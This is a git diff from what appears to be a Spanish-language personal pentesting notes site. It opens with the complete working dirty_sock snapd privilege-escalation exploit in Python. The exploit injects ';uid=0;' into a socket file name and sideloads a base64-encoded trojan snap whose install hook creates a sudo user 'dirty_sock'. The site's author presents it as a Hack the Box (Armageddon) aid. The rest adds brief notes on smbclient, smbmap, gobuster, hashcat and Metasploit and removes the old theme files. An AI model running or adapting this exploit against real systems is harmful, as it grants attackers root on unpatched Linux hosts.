Si el exploit es exitoso, el sistema tendrá un nuevo usuario con permisos sudo de la +siguiente manera: nombre de + +usuario: dirty_sock +contraseña: dirty_sock + +Puede ejecutar su dirty_sock cuando se complete el exploit. Ver la página de github para la solución de problemas. +Investigación y POC por initstring (https://github.com/initstring/dirty_sock). + +CONDICIONES DE USO: + +Tener permiso sudo sobre el archvio "snap". Esto podemos comprobarlo realizando un "sudo -l" y comprobando los permisos. + +Este exploit funciona en las siguientes máquinas de Hack the Box --> Armageddon. + +""" + +import string +import random +import socket +import base64 +import time +import sys +import os + +BANNER = r''' + ___ _ ____ ___ _ _ ____ ____ ____ _ _ + | \ | |__/ | \_/ [__ | | | |_/ + |__/ | | \ | | ___ ___] |__| |___ | \_ + (version 2) + +//=========[]==========================================\\ +|| R&D || initstring (@init_string) || +|| Source || https://github.com/initstring/dirty_sock || +|| Details || https://initblog.com/2019/dirty-sock || +\\=========[]==========================================// + +''' + + +# The following global is a base64 encoded string representing an installable +# snap package. The snap itself is empty and has no functionality. It does, +# however, have a bash-script in the install hook that will create a new user. +# For full details, read the blog linked on the github page above. +TROJAN_SNAP = (''' +aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/ +/////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh +ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5 +TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo +T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl +Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt +ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv +ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n +L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt +b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe +rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj +rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA +AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2 +XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5 +RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA +AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw''' + + 'A' * 4256 + '==') + +def check_args(): + """Return short help if any args given""" + if len(sys.argv) > 1: + print("\n\n" + "No arguments needed for this version. Simply run and enjoy." + "\n\n") + sys.exit() + +def create_sockfile(): + """Generates a random socket file name to use""" + alphabet = string.ascii_lowercase + random_string = ''.join(random.choice(alphabet) for i in range(10)) + dirty_sock = ';uid=0;' + + # This is where we slip on the dirty sock. This makes its way into the + # UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion + # by snapd's ucrednet.go file, allowing us to overwrite the UID variable. + sockfile = '/tmp/' + random_string + dirty_sock + + print("[+] Slipped dirty sock on random socket file: " + sockfile) + + return sockfile + +def bind_sock(sockfile): + """Binds to a local file""" + # This exploit only works if we also BIND to the socket after creating + # it, as we need to inject the dirty sock as a remote peer in the + # socket's ancillary data. + print("[+] Binding to socket file...") + client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + client_sock.bind(sockfile) + + # Connect to the snap daemon + print("[+] Connecting to snapd API...") + client_sock.connect('/run/snapd.socket') + + return client_sock + +def delete_snap(client_sock): + """Deletes the trojan snap, if installed""" + post_payload = ('{"action": "remove",' + ' "snaps": ["dirty-sock"]}') + http_req = ('POST /v2/snaps HTTP/1.1\r\n' + 'Host: localhost\r\n' + 'Content-Type: application/json\r\n' + 'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n' + + post_payload) + + # Send our payload to the snap API + print("[+] Deleting trojan snap (and sleeping 5 seconds)...") + client_sock.sendall(http_req.encode("utf-8")) + + # Receive the data and extract the JSON + http_reply = client_sock.recv(8192).decode("utf-8") + + # Exit on probably-not-vulnerable + if '"status":"Unauthorized"' in http_reply: + print("[!] System may not be vulnerable, here is the API reply:\n\n") + print(http_reply) + sys.exit() + + # Exit on failure + if 'status-code":202' not in http_reply: + print("[!] Did not work, here is the API reply:\n\n") + print(http_reply) + sys.exit() + + # We sleep to allow the API command to complete, otherwise the install + # may fail. + time.sleep(5) + +def install_snap(client_sock): + """Sideloads the trojan snap""" + + # Decode the base64 from above back into bytes + blob = base64.b64decode(TROJAN_SNAP) + + # Configure the multi-part form upload boundary here: + boundary = '------------------------f8c156143a1caf97' + + # Construct the POST payload for the /v2/snap API, per the instructions + # here: https://github.com/snapcore/snapd/wiki/REST-API + # This follows the 'sideloading' process. + post_payload = ''' +--------------------------f8c156143a1caf97 +Content-Disposition: form-data; name="devmode" + +true +--------------------------f8c156143a1caf97 +Content-Disposition: form-data; name="snap"; filename="snap.snap" +Content-Type: application/octet-stream + +''' + blob.decode('latin-1') + ''' +--------------------------f8c156143a1caf97--''' + + + # Multi-part forum uploads are weird. First, we post the headers + # and wait for an HTTP 100 reply. THEN we can send the payload. + http_req1 = ('POST /v2/snaps HTTP/1.1\r\n' + 'Host: localhost\r\n' + 'Content-Type: multipart/form-data; boundary=' + + boundary + '\r\n' + 'Expect: 100-continue\r\n' + 'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n') + + # Send the headers to the snap API + print("[+] Installing the trojan snap (and sleeping 8 seconds)...") + client_sock.sendall(http_req1.encode("utf-8")) + + # Receive the initial HTTP/1.1 100 Continue reply + http_reply = client_sock.recv(8192).decode("utf-8") + + if 'HTTP/1.1 100 Continue' not in http_reply: + print("[!] Error starting POST conversation, here is the reply:\n\n") + print(http_reply) + sys.exit() + + # Now we can send the payload + http_req2 = post_payload + client_sock.sendall(http_req2.encode("latin-1")) + + # Receive the data and extract the JSON + http_reply = client_sock.recv(8192).decode("utf-8") + + # Exit on failure + if 'status-code":202' not in http_reply: + print("[!] Did not work, here is the API reply:\n\n") + print(http_reply) + sys.exit() + + # Sleep to allow time for the snap to install correctly. Otherwise, + # The uninstall that follows will fail, leaving unnecessary traces + # on the machine. + time.sleep(8) + +def print_success(): + """Prints a success message if we've made it this far""" + print("\n\n") + print("********************") + print("Success! You can now `su` to the following account and use sudo:") + print(" username: dirty_sock") + print(" password: dirty_sock") + print("********************") + print("\n\n") + + +def main(): + """Main program function""" + + # Gotta have a banner... + print(BANNER) + + # Check for any args (none needed) + check_args() + + # Create a random name for the dirty socket file + sockfile = create_sockfile() + + # Bind the dirty socket to the snapdapi + client_sock = bind_sock(sockfile) + + # Delete trojan snap, in case there was a previous install attempt + delete_snap(client_sock) + + # Install the trojan snap, which has an install hook that creates a user + install_snap(client_sock) + + # Delete the trojan snap + delete_snap(client_sock) + + # Remove the dirty socket file + os.remove(sockfile) + + # Congratulate the lucky hacker + print_success() + + +if __name__ == '__main__': + main() diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 670154e3538..00000000000 --- a/LICENSE +++ /dev/null @@ -1,116 +0,0 @@ -CC0 1.0 Universal - -Statement of Purpose - -The laws of most jurisdictions throughout the world automatically confer -exclusive Copyright and Related Rights (defined below) upon the creator and -subsequent owner(s) (each and all, an "owner") of an original work of -authorship and/or a database (each, a "Work"). - -Certain owners wish to permanently relinquish those rights to a Work for the -purpose of contributing to a commons of creative, cultural and scientific -works ("Commons") that the public can reliably and without fear of later -claims of infringement build upon, modify, incorporate in other works, reuse -and redistribute as freely as possible in any form whatsoever and for any -purposes, including without limitation commercial purposes. These owners may -contribute to the Commons to promote the ideal of a free culture and the -further production of creative, cultural and scientific works, or to gain -reputation or greater distribution for their Work in part through the use and -efforts of others. - -For these and/or other purposes and motivations, and without any expectation -of additional consideration or compensation, the person associating CC0 with a -Work (the "Affirmer"), to the extent that he or she is an owner of Copyright -and Related Rights in the Work, voluntarily elects to apply CC0 to the Work -and publicly distribute the Work under its terms, with knowledge of his or her -Copyright and Related Rights in the Work and the meaning and intended legal -effect of CC0 on those rights. - -1. Copyright and Related Rights. A Work made available under CC0 may be -protected by copyright and related or neighboring rights ("Copyright and -Related Rights"). Copyright and Related Rights include, but are not limited -to, the following: - - i. the right to reproduce, adapt, distribute, perform, display, communicate, - and translate a Work; - - ii. moral rights retained by the original author(s) and/or performer(s); - - iii. publicity and privacy rights pertaining to a person's image or likeness - depicted in a Work; - - iv. rights protecting against unfair competition in regards to a Work, - subject to the limitations in paragraph 4(a), below; - - v. rights protecting the extraction, dissemination, use and reuse of data in - a Work; - - vi. database rights (such as those arising under Directive 96/9/EC of the - European Parliament and of the Council of 11 March 1996 on the legal - protection of databases, and under any national implementation thereof, - including any amended or successor version of such directive); and - - vii. other similar, equivalent or corresponding rights throughout the world - based on applicable law or treaty, and any national implementations thereof. - -2. Waiver. To the greatest extent permitted by, but not in contravention of, -applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and -unconditionally waives, abandons, and surrenders all of Affirmer's Copyright -and Related Rights and associated claims and causes of action, whether now -known or unknown (including existing as well as future claims and causes of -action), in the Work (i) in all territories worldwide, (ii) for the maximum -duration provided by applicable law or treaty (including future time -extensions), (iii) in any current or future medium and for any number of -copies, and (iv) for any purpose whatsoever, including without limitation -commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes -the Waiver for the benefit of each member of the public at large and to the -detriment of Affirmer's heirs and successors, fully intending that such Waiver -shall not be subject to revocation, rescission, cancellation, termination, or -any other legal or equitable action to disrupt the quiet enjoyment of the Work -by the public as contemplated by Affirmer's express Statement of Purpose. - -3. Public License Fallback. Should any part of the Waiver for any reason be -judged legally invalid or ineffective under applicable law, then the Waiver -shall be preserved to the maximum extent permitted taking into account -Affirmer's express Statement of Purpose. In addition, to the extent the Waiver -is so judged Affirmer hereby grants to each affected person a royalty-free, -non transferable, non sublicensable, non exclusive, irrevocable and -unconditional license to exercise Affirmer's Copyright and Related Rights in -the Work (i) in all territories worldwide, (ii) for the maximum duration -provided by applicable law or treaty (including future time extensions), (iii) -in any current or future medium and for any number of copies, and (iv) for any -purpose whatsoever, including without limitation commercial, advertising or -promotional purposes (the "License"). The License shall be deemed effective as -of the date CC0 was applied by Affirmer to the Work. Should any part of the -License for any reason be judged legally invalid or ineffective under -applicable law, such partial invalidity or ineffectiveness shall not -invalidate the remainder of the License, and in such case Affirmer hereby -affirms that he or she will not (i) exercise any of his or her remaining -Copyright and Related Rights in the Work or (ii) assert any associated claims -and causes of action with respect to the Work, in either case contrary to -Affirmer's express Statement of Purpose. - -4. Limitations and Disclaimers. - - a. No trademark or patent rights held by Affirmer are waived, abandoned, - surrendered, licensed or otherwise affected by this document. - - b. Affirmer offers the Work as-is and makes no representations or warranties - of any kind concerning the Work, express, implied, statutory or otherwise, - including without limitation warranties of title, merchantability, fitness - for a particular purpose, non infringement, or the absence of latent or - other defects, accuracy, or the present or absence of errors, whether or not - discoverable, all to the greatest extent permissible under applicable law. - - c. Affirmer disclaims responsibility for clearing rights of other persons - that may apply to the Work or any use thereof, including without limitation - any person's Copyright and Related Rights in the Work. Further, Affirmer - disclaims responsibility for obtaining any necessary consents, permissions - or other rights required for any use of the Work. - - d. Affirmer understands and acknowledges that Creative Commons is not a - party to this document and has no duty or obligation with respect to this - CC0 or use of the Work. - -For more information, please see - diff --git a/README.md b/README.md index 4c2fac074ba..3b15326b6cd 100644 --- a/README.md +++ b/README.md @@ -1,116 +1,4 @@ -# The Hacker theme +# f1r0x.github.io -[![.github/workflows/ci.yaml](https://github.com/pages-themes/hacker/actions/workflows/ci.yaml/badge.svg)](https://github.com/pages-themes/hacker/actions/workflows/ci.yaml) [![Gem Version](https://badge.fury.io/rb/jekyll-theme-hacker.svg)](https://badge.fury.io/rb/jekyll-theme-hacker) -*Hacker is a Jekyll theme for GitHub Pages. You can [preview the theme to see what it looks like](http://pages-themes.github.io/hacker), or even [use it today](#usage).* -![Thumbnail of Hacker](thumbnail.png) - -## Usage - -To use the Hacker theme: - -1. Add the following to your site's `_config.yml`: - - ```yml - remote_theme: pages-themes/hacker@v0.2.0 - plugins: - - jekyll-remote-theme # add this line to the plugins list if you already have one - ``` - -2. Optionally, if you'd like to preview your site on your computer, add the following to your site's `Gemfile`: - - ```ruby - gem "github-pages", group: :jekyll_plugins - ``` - -## Customizing - -### Configuration variables - -Hacker will respect the following variables, if set in your site's `_config.yml`: - -```yml -title: [The title of your site] -description: [A short description of your site's purpose] -``` - -Additionally, you may choose to set the following optional variables: - -```yml -show_downloads: ["true" or "false" (unquoted) to indicate whether to provide a download URL] -google_analytics: [Your Google Analytics tracking ID] -``` - -### Stylesheet - -If you'd like to add your own custom styles: - -1. Create a file called `/assets/css/style.scss` in your site -2. Add the following content to the top of the file, exactly as shown: - ```scss - --- - --- - - @import "{{ site.theme }}"; - ``` -3. Add any custom CSS (or Sass, including imports) you'd like immediately after the `@import` line - -*Note: If you'd like to change the theme's Sass variables, you must set new values before the `@import` line in your stylesheet.* - -### Layouts - -If you'd like to change the theme's HTML layout: - -1. For some changes such as a custom `favicon`, you can add custom files in your local `_includes` folder. The files [provided with the theme](https://github.com/pages-themes/hacker/tree/master/_includes) provide a starting point and are included by the [original layout template](https://github.com/pages-themes/hacker/blob/master/_layouts/default.html). -2. For more extensive changes, [copy the original template](https://github.com/pages-themes/hacker/blob/master/_layouts/default.html) from the theme's repository
(*Pro-tip: click "raw" to make copying easier*) -3. Create a file called `/_layouts/default.html` in your site -4. Paste the default layout content copied in the first step -5. Customize the layout as you'd like - -### Customizing Google Analytics code - -Google has released several iterations to their Google Analytics code over the years since this theme was first created. If you would like to take advantage of the latest code, paste it into `_includes/head-custom-google-analytics.html` in your Jekyll site. - -### Overriding GitHub-generated URLs - -Templates often rely on URLs supplied by GitHub such as links to your repository or links to download your project. If you'd like to override one or more default URLs: - -1. Look at [the template source](https://github.com/pages-themes/hacker/blob/master/_layouts/default.html) to determine the name of the variable. It will be in the form of `{{ site.github.zip_url }}`. -2. Specify the URL that you'd like the template to use in your site's `_config.yml`. For example, if the variable was `site.github.url`, you'd add the following: - ```yml - github: - zip_url: http://example.com/download.zip - another_url: another value - ``` -3. When your site is built, Jekyll will use the URL you specified, rather than the default one provided by GitHub. - -*Note: You must remove the `site.` prefix, and each variable name (after the `github.`) should be indent with two space below `github:`.* - -For more information, see [the Jekyll variables documentation](https://jekyllrb.com/docs/variables/). - -## Roadmap - -See the [open issues](https://github.com/pages-themes/hacker/issues) for a list of proposed features (and known issues). - -## Project philosophy - -The Hacker theme is intended to make it quick and easy for GitHub Pages users to create their first (or 100th) website. The theme should meet the vast majority of users' needs out of the box, erring on the side of simplicity rather than flexibility, and provide users the opportunity to opt-in to additional complexity if they have specific needs or wish to further customize their experience (such as adding custom CSS or modifying the default layout). It should also look great, but that goes without saying. - -## Contributing - -Interested in contributing to Hacker? We'd love your help. Hacker is an open source project, built one contribution at a time by users like you. See [the CONTRIBUTING file](docs/CONTRIBUTING.md) for instructions on how to contribute. - -### Previewing the theme locally - -If you'd like to preview the theme locally (for example, in the process of proposing a change): - -1. Clone down the theme's repository (`git clone https://github.com/pages-themes/hacker`) -2. `cd` into the theme's directory -3. Run `script/bootstrap` to install the necessary dependencies -4. Run `bundle exec jekyll serve` to start the preview server -5. Visit [`localhost:4000`](http://localhost:4000) in your browser to preview the theme - -### Running tests - -The theme contains a minimal test suite, to ensure a site with the theme would build successfully. To run the tests, simply run `script/cibuild`. You'll need to run `script/bootstrap` once before the test script will work. diff --git a/Web/Articulos/smbClient.md b/Web/Articulos/smbClient.md new file mode 100644 index 00000000000..99b06b28c07 --- /dev/null +++ b/Web/Articulos/smbClient.md @@ -0,0 +1,38 @@ +# SMBClient + +## ¿Cómo listar recursos compartidos con SMBClient? + +Con `cmbclient` podemos tratar de listar los recursos compartidos a nivel de red de un equipo expuesto. + + smbclient -L [Ip] -N + + smbclient -L 10.10.10.10 -N + +* `-L:` Comparte una lista de los recursos compartidos. +* `-N:` Hace uso de un Null Session. + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Articulos/smbMap.md b/Web/Articulos/smbMap.md new file mode 100644 index 00000000000..869ab945811 --- /dev/null +++ b/Web/Articulos/smbMap.md @@ -0,0 +1,42 @@ +# SMBMap + +## Instalación: +Para instalar `smbmap` desde la terminal en cualquier distribución Debian podemos utilizar el siguiente comando: + + sudo apt install smbmap + +## ¿Cómo listar recursos compartidos con SMBMap? + +Con `cmbmap` podemos tratar de listar los recursos compartidos a nivel de red de un equipo expuesto, al igual que con `smbclient`. + + smbmap -H [Ip] + + smbmap -H 10.10.10.10 + +* `-H:` Se utiliza para especificar el Host (Ip, direcciones http, direcciones https, etc). + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/ExtractPorts.md b/Web/Herramientas_y_Scripts/ExtractPorts.md new file mode 100644 index 00000000000..a8cab216f75 --- /dev/null +++ b/Web/Herramientas_y_Scripts/ExtractPorts.md @@ -0,0 +1,80 @@ +# ExtractPorts + +ExtractPorts es una función creada por S4vitar. + +Esta herramienta nos mostrará en formato bat los puertos encontrados y guardados previamemte en un archivo. Para crear estos archivos, debemos de guardar los +escaneos (al escanear los puertos con nmap por ejemplo) en formato `grepeable` (-oG). + +Luego mediante `Cntrl + Shift + v` podremos pegar los puertos a la terminal automáticamente. Esto es muy útil cuando tenemos que trabajar con muchos puertos +ya que tenemos los puertos guardados sin necesidad de volver a realizar el escaneo y para pegar de forma rápida todos los puertos sin la necesidad de escribirlos +uno por uno. + +![Captura de pantalla -2022-04-10 23-00-33](https://user-images.githubusercontent.com/103068924/162639641-48c8aea9-d14a-4ea2-a38b-cefa0447ffdf.png) + + extractPorts allPorts + +`allPorts` : Archivo previamente definido. + +![Captura de pantalla -2022-04-10 23-01-09](https://user-images.githubusercontent.com/103068924/162639721-fab103c8-7fc9-46b7-ab9d-4536ab84a708.png) + +`Cntrl + Shift + v` : Para pegar los puertos a la terminal. + +## Instalación: + +Para la instalación de esta herramienta previamente se recomienda tener instalado 'bat' que es una mejora del comando 'cat'. + +Para poder tener está función activa, simplemente nos dirigiremos a la carpeta .bashrc o .zshrc (la que utilicéis) y pegaremos la función. + +``` + +# Extract nmap information: +function extractPorts(){ + ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{prin> + ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{> + echo -e "\n[*] Extracting information...\n" > extractP> + echo -e "\t[*] IP Address: $ip_address" >> extractPor> + echo -e "\t[*] Open ports: $ports\n" >> extractPorts.> + echo $ports | tr -d '\n' | xclip -sel clip + echo -e "[*] Ports copied to clipboard\n" >> extractP> + cat extractPorts.tmp; rm extractPorts.tmp +} + + ``` + +Esta función la podéis encontrar también en el perfil de S4vitar. + +S4vitar: [https://github.com/s4vitar](https://github.com/s4vitar) + +![Captura de pantalla -2022-04-10 23-42-26](https://user-images.githubusercontent.com/103068924/162641184-dd48ed25-c547-4350-a201-de89d0d849e6.png) + +# Menciones: + +Esta función está creada por el creador de contenido S4vitar, podéis encontrar una gran cantidad de información sobre ciberseguridad en +sus canales de Youtube y Twitch. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Herramientas_y_Scripts/FFUF.md b/Web/Herramientas_y_Scripts/FFUF.md new file mode 100644 index 00000000000..5780a28d1b3 --- /dev/null +++ b/Web/Herramientas_y_Scripts/FFUF.md @@ -0,0 +1,30 @@ +# FUFF + +FFUF es un rápido fuzzer web escrito en Go. Es un método profesional de línea de comandos para el fuzzing web en un servidor web. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Herramientas_y_Scripts/Gobuster.md b/Web/Herramientas_y_Scripts/Gobuster.md new file mode 100644 index 00000000000..cf222fd2795 --- /dev/null +++ b/Web/Herramientas_y_Scripts/Gobuster.md @@ -0,0 +1,38 @@ +# GoBuster + +## ¿Qué es GoBuster? + +Gobuster es una herramienta open source que permite la identificación de contenido web como directorios o ficheros que pudiesen estar +accesibles u ocultos en un portal web. Esto lo realiza a través de solicitudes http con un diccionario o por fuerza bruta, y detectará +la existencia de las mismas en función del código de respuesta obtenido. + +GoBuster tiene la capacidad de realizar las siguientes enumeraciones: + +* URIs (directorios y ficheros) en portales web. +* Subdominios DNS con soporte para wildcard. +* Nombres de virtual hosts en servidores web. +* Buckets S3 de Amazon públicos. + +## ¿Cómo instala GoBuster? + +En caso de tener una distribución basada en Debian, podéis instalarlo directamente desde la terminal mediante le siguiente comando: + + sudo apt install gobuster + +# Tipos de enumeraciones: + +Como ya indicábamos se pueden hacer 4 tipos de enumeraciones, de `URIs`, `DNS`, `vhosts` y `buckets S3` así que vamos a ver cada una de ellas. + +### Escaneo de Directorios: + + gobuster dir -u http://www.ejemplo.com/ -w /ruta/del/diccionario + +* `dir`: Indica que vamos a enumerar directorios. +* `-u`: Especifica la targeta URL. +* `-w`: Especifica la ruta del diccionario. + +Más información acerca de goBuster --> Link + + + + diff --git a/Web/Herramientas_y_Scripts/Hash-Identifier.md b/Web/Herramientas_y_Scripts/Hash-Identifier.md new file mode 100644 index 00000000000..c3bc329dcce --- /dev/null +++ b/Web/Herramientas_y_Scripts/Hash-Identifier.md @@ -0,0 +1,36 @@ +![Captura de pantalla -2022-04-27 00-14-19](https://user-images.githubusercontent.com/103068924/165401592-90693a2f-c638-44dc-a3c5-b263720a4021.png) + +# Hash Identifier + +Hash Identifier es una herramienta basada en Python que le permite identificar rápidamente los tipos de hash utilizados para cifrar contraseñas. +Admite más de 220 tipos de hash únicos mediante expresiones regulares. + +Es capaz de identificar un solo hash, analizar un archivo o leer varios archivos en un directorio e identificar los hash dentro de ellos. +También es capaz de incluir el modo hashcat correspondiente y/o el formato [JohnTheRipper](./Web/Herramientas_y_Scripts/john_the_ripper.html) en su salida. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Herramientas_y_Scripts/HashCat.md b/Web/Herramientas_y_Scripts/HashCat.md new file mode 100644 index 00000000000..e8ed0646599 --- /dev/null +++ b/Web/Herramientas_y_Scripts/HashCat.md @@ -0,0 +1,87 @@ +![hashcat](https://user-images.githubusercontent.com/103068924/165367806-d273a082-b4ff-4208-a27d-67ebd83d4610.png) + +### HashCat + +# ¿Qué es HashCat? + +Hashcat es un descifrador de contraseñas popular y eficaz ampliamente utilizado tanto por probadores de penetración +como por administradores de sistemas, así como por delincuentes y espías. + +Su funcionamiento básicamente consiste en utilizar diccionarios precalculados, tablas y métodos de fuerza bruta +para tratar de encontrar una forma eficaz y eficiente de descifrar contraseñas. + +Estas contraseñas son procesadas por un algoritmo para crear los hash. Existen diversas clases de algoritmos, pero +lo que tenemos que tener en cuenta es que descifrar un hash es inviable, ya que se necesitaria una gran potencia +computacional y mucho tiempo para tratar de descifrarlo. + +En cambio, HashCat no trata de descifrar el hash, simplemente comprueba las miles de palabras y hashes que tienen +guardados en su base de datos hasta dar con el mismo que le hemos introducido. Este proceso es mucho más rápido ya +que la herramienta cuenta con grandes librerias actualizadas. + +# Instalación: + +Para instalar en cualquier distribución debian: + + sudo apt install hashcat + +![Captura de pantalla -2022-04-26 20-50-38](https://user-images.githubusercontent.com/103068924/165371300-6a365958-6308-4a7a-a490-7cc56deec53a.png) + +En Kali Linux y ParrotOS suele venir instalada de forma predeterminada. + +# Ejecución: + +Para ver las distintas optiones y como ejecutar la herramienta: + + hashcat --help + +Para ejecutar la herramienta, debemos especificar en que algoritmo esta basado el hash, esto podemos verlo meidante +la herramientas [HashID](./Web/Herramientas_y_Scripts/HashId.html) o [Hash-Identifier](./Web/Herramientas_y_Scripts/Hash-Identifier.html). + +Crearemos un archivo, por ejemplo 'hash2' y pegamos el número hash que queremos descifrar. + + nano hash2 + + Guardamos (Cntrl + o) y salimos (Cntrl + x). + + Para ejecutar HashCat de forma básica: + + hashcat -a 0 -m 0 hash2 /usr/share/rockyou.txt + + -a : Attack-mode. El 0 representa el modo 'Straight'. + + ![Captura de pantalla -2022-04-26 23-59-52](https://user-images.githubusercontent.com/103068924/165399824-debe9e55-256e-49a0-ba46-958a9efd2db4.png) + + -m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando `hashcat --help`. + + ![Captura de pantalla -2022-04-27 00-01-06](https://user-images.githubusercontent.com/103068924/165399873-50a11294-9cd6-4833-8642-16d5193ec93c.png) + + hash2 : Nombre del archivo que contiene el hash que queremos descifrar. + + rockyou.txt : Es un diccionario con más de 14 millones de contraseñas y hashes. + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Herramientas_y_Scripts/HashId.md b/Web/Herramientas_y_Scripts/HashId.md new file mode 100644 index 00000000000..fc0ad2aa822 --- /dev/null +++ b/Web/Herramientas_y_Scripts/HashId.md @@ -0,0 +1,61 @@ +![hashid-1](https://user-images.githubusercontent.com/103068924/165994553-734e3ab8-691b-4034-b396-34311e3f0f72.png) + +Hashid es una herramienbta que nos reportará el tipo de algoritmo más probable que se utilizó en su día para crear +ese hash a partir de una contraseña. + +## Instalación: + +Para instalar la herramienta: + + sudo apt install hashid + +## Ejecución: + +Para ejecutarla: + + hashid [Hash Núm] + + +### Ejemplo: + +![Captura de pantalla -2022-04-26 12-33-14](https://user-images.githubusercontent.com/103068924/165281291-c32d3c2a-5ab4-441e-bb04-81190b786114.png) + +Según la herramienta HashId el algoritmo de nuestro hash es un MD2, MD5 o MD4. + +Recordar que la aplicación nos reporta los más probables, en ocasiones el primero en reportar no es el +correcto, por tanto, tener en cuenta los dos o tres primeros en orden descendente, ya que el primero que nos +reporta es el que en teoría tiene más probabilidades. + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + + + + + diff --git a/Web/Herramientas_y_Scripts/Metasploit.md b/Web/Herramientas_y_Scripts/Metasploit.md new file mode 100644 index 00000000000..1101b1001ed --- /dev/null +++ b/Web/Herramientas_y_Scripts/Metasploit.md @@ -0,0 +1,120 @@ +![45d05b2d7bd477a3cac9786ef8cf6e29](https://user-images.githubusercontent.com/103068924/168299911-cf99878d-756d-4497-91d1-49c0571d278b.png) + +# ¿Qué es Metasploit? + +Metasploit es un proyecto de código abierto para la seguridad informática, que proporciona información acerca de vulnerabilidades de seguridad y ayuda en +tests de penetración `Pentesting` y el desarrollo de firmas para sistemas de detección de intrusos. + +Su subproyecto más conocido es el `Metasploit Framework`, una herramienta para desarrollar y ejecutar exploits contra una máquina remota. + +Inicialmente, fue creado utilizando el lenguaje de programación de scripting Perl aunque actualmente el Metasploit Framework ha sido escrito de nuevo +completamente en el lenguaje Ruby. + +# ¿Como funciona Metasploit? + +Los pasos básicos para la explotación de un sistema que utiliza el Sistema incluyen: + +1. La selección y configuración de un código el cual se va a explotar. El cual entra al sistema objetivo, mediante el aprovechamiento de +bugs. Existen cerca de 900 exploits incluidos para Windows, Unix / Linux y Mac OS X. + +2. Opción para comprobar si el sistema destino es susceptible a los bugs elegidos. + +3. La técnica para codificar el sistema de prevención de intrusiones (IPS) e incluir la carga útil codificada. + +4. Visualización a la hora de ejecutar el exploit. + +Metasploit se ejecuta en Unix (incluyendo Linux y Mac OS X) y en Windows. El Sistema Metasploit se puede extender y es capaz utilizar complementos +en varios idiomas. + +Para elegir un exploit y la carga útil, se necesita un poco de información sobre el sistema objetivo, como la versión del sistema operativo y los +servicios de red instalados. + +Esta información puede ser obtenida con el escaneo de puertos y "OS fingerprinting", puedes obtener esta información +con herramientas como Nmap, NeXpose o Nessus, estos programas, pueden detectar vulnerabilidades del sistema de destino. Metasploit puede importar +los datos de la exploración de vulnerabilidades y comparar las vulnerabilidades identificadas. + +# Instalación: + +Para poder instalar Metasploit en sistemas basados en Debian como Parrot o Kali Linux, primero actualizamos el sistema: + + sudo apt-get update + +Y luego procedemos con la instalación: + + sudo apt-get install metasploit-framework + +Una vez instalado podemos ejecutarlo mediante el comando: + + msfconsole + +![Captura de pantalla -2022-05-13 02-39-06](https://user-images.githubusercontent.com/103068924/168301223-b00a6c4b-9582-42c4-8adf-85b44e3ebfcc.png) + +# Búsqueda de Exploits: + +Metasploit cuenta con una gran recopilación de exploits, para poder buscar el adecuado filtrando por la vulnerabilidad que queremos explotar +simplemente usamos el comando `search` seguido del exploit, la vulnerabilidad o la versión del sistema que vamos a vulnerar. Esto debemos +ejecutarlo una vez hemos ingresado en `msfconsole`: + + search [Información que identifique la vulnerabilidad.] + +![Captura de pantalla -2022-05-13 13-05-57](https://user-images.githubusercontent.com/103068924/168302351-3f912051-c282-44f8-a783-8ea373f84284.png) + +## Conceptos básicos de configuración: + +Una vez nos muestra las listas (en este ejemplo hemos buscado la vulnerabilidad ms17-010 conocida como EthernalBlue) de los exploits que contienen +la iformación 